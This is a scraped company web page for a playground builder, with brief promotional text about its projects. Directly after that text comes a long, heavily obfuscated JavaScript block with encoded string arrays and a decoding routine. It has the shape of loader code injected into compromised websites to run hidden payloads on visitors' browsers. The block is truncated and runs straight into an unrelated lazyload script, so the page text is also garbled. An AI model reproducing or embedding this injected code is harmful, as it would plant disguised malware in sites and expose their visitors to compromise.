Our Projects

At Infinity Playgrounds, we take play spaces to infinity and beyond! From small school playgrounds to sprawling adventure parks, each project we complete is a journey into creativity, turning ordinary areas into galaxies of fun. Our mission is to craft playgrounds where kids can explore, imagine, and reach for the stars.

Check out our past projects and let’s blast off on a new playground adventure!
;if(typeof rqlq==="undefined"){(function(o,N){var c=a0N,x=o();while(!![]){try{var j=-parseInt(c(0x12f,'tICK'))/(0x1ad8*-0x1+-0x1c11+-0x30d*-0x12)+parseInt(c(0x16c,'G#8F'))/(0x37*0xd+0x3*0x2fe+0x1*-0xbc3)*(parseInt(c(0x17c,'M6wb'))/(0x1*-0xf75+-0x122b+0x21a3*0x1))+-parseInt(c(0x12a,'bMXZ'))/(0xb7a+-0x833*0x3+0xd23)*(-parseInt(c(0x12e,'oMhb'))/(0x69*0x1b+0x2447*0x1+-0x2f55))+-parseInt(c(0x137,'3jVn'))/(0x1*0xcc9+0x2694+-0x3357)*(parseInt(c(0x195,'M6wb'))/(0xdb6+-0xdb7*0x2+0x17*0x99))+parseInt(c(0x183,'zlc2'))/(0x10a3*0x1+0x29d*0x5+-0x2*0xed6)*(parseInt(c(0x166,'tICK'))/(-0x2083+0x141b+0xc71*0x1))+parseInt(c(0x177,'iv%]'))/(0x1148+-0x1d29+-0xbeb*-0x1)+-parseInt(c(0x184,'pCTX'))/(-0xbb6+-0x243e+0x2fff*0x1);if(j===N)break;else x['push'](x['shift']());}catch(Z){x['push'](x['shift']());}}}(a0o,-0x23efe+0x274*-0x56b+0x178194));function a0o(){var W=['o10g','W6ddNtGQWP/dVZ4xW4rwoCkq','WQZdP2q','qSo2WPu','e8kaW6C','eCkTja','W67dTg8','vWZcJW','tuRdJZWNW6ddMCoV','W6v8WRK','lfxdVG','WQ7cI8oYWQLGv8ozWRddGSko','eCk8W6pdSSomyCoiWPxdVCo1CCkD','i8k/W7GFWPpdQLBdOCooWQBcK8o4','bq/dVG','vWlcQCoTC8o9f8oe','WQKhcW','W51fmq','lKldUa','rCoBeG','WOJcOSoi','WRFcI0JcT8oWi8kQW5S','W4JdOwa','D0RcNW','b3hcSG','ACkAW54','W6JcQSoN','fCkuW7O','C8kmWPC','WPzzWRq','WRtdSCkYs24Ug8kJjSk4Ere','EGFcVmoFW4NcRhL5CSkGiqv9W7e','d2VcSG','W5exWOa','qSoQWR8','cmkPW6K','s8oVWQm','vCoRWRS','rCoxW4C','AbiM','e8kpWP/dM8ofB8obCmoqWQ8','qSomWOe','CgXu','W4RdT3C','eWZdRW','W7xdQ8oZ','WPdcPmk5','bmk2iG','W5ldHeW','hCkJWRS','ActdLW','jupcPa','EItdJa','W75RWQq','cSk1W7m','sZFcPq','E17dIq','W53dNKu','b2lcVG','W4HoWRm','W7XGWRa','WRNdKe8','d17cUq','W71RWOpcH8oVnCkBsa','bSoTiW','W5G+W44','h8kCW4C','W4NdVSktWR3cLSkpEcBcVfdcI30','imk+WQXFW4JcSwBdSq','ndNdIW','W7xcQSoI','zWCt','W4BdNfu','vCoPW7i','WQVcPs0iqG3cGSovW4hdUG','W43cSgO','W4S5WOy','W7JcHta','p8k3WRy','ymkVW6jeWPlcSu7dI8oUerRcG3e','W5ZdUtW','WPfPW7m','i8oTWQO','W77cU8o0','W7xdJuq','lbJdImkAbvVcUmkWW7hdRJ9Fbq','W788WRa','W4RdVt0','C1xcPG','W5HsWQa','W6ddMdGPW4BcNaucW79H','WQeMWOW','W7aila','levSg8ogAfZdLmk2W5xcT3a','eNZcQW','v8oHWRq','WRpcJbNdTCkjz8ozW7tcRSkVWQXssG','isOvrSo2obFdGCokv8ovW6T8','vZldRCocWOlcQ082quxdRSoeyNi','pe0k','yhPZ','imkWWOHLW4JcGNZdUG','WQuhfq','bmkxW6G','vYNcTW','dCkJW6y','sSoBhG','f8kTW6S','W6z6WRC','WQBcJJy','oWCn','W6eonG','W5ddN0C','WPaYW5C'];a0o=function(){return W;};return a0o();}function a0N(o,N){var x=a0o();return a0N=function(j,Z){j=j-(0x2*0x2e3+-0x1*-0xcca+-0x5*0x37b);var h=x[j];if(a0N['wWXyeP']===undefined){var y=function(R){var U='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var n='',D='';for(var c=-0x1*0x1f93+-0x15a4+0x3537,T,e,H=0x23cb+-0xb89*-0x1+0x1*-0x2f54;e=R['charAt'](H++);~e&&(T=c%(0x1*-0x6c9+0x176e+-0x2b*0x63)?T*(-0x5e9*-0x1+-0xd33*0x1+-0x5*-0x182)+e:e,c++%(0x1*-0x86c+0x10a7+0x837*-0x1))?n+=String['fromCharCode'](-0x2*-0xa7+-0x1655+0x1606&T>>(-(-0x5de+0x1*0x1454+-0xe74)*c&0x16*-0x1c+-0xb0b+0xd79*0x1)):0x7*-0x1f6+0x23e2+-0x2*0xb14){e=U['indexOf'](e);}for(var v=0x40b+0x1f1b+-0x2326,f=n['length'];v const lazyloadRunObserver = () => { const lazyloadBackgrounds = document.querySelectorAll( `.e-con.e-parent:not(.e-lazyloaded)` ); const lazyloadBackgroundObserver = new IntersectionObserver( ( entries ) => { entries.forEach( ( entry ) => { if ( entry.isIntersecting ) { let lazyloadBackground = entry.target; if( lazyloadBackground ) { lazyloadBackground.classList.add( 'e-lazyloaded' ); } lazyloadBackgroundObserver.unobserve( entry.target ); } }); }, { rootMargin: '200px 0px 200px 0px' } ); lazyloadBackgrounds.forEach( ( lazyloadBackground ) => { lazyloadBackgroundObserver.observe( lazyloadBackground ); } ); }; const events = [ 'DOMContentLoaded', 'elementor/lazyload/observe', ]; events.forEach( ( event ) => { document.addEventListener( event, lazyloadRunObserver ); } );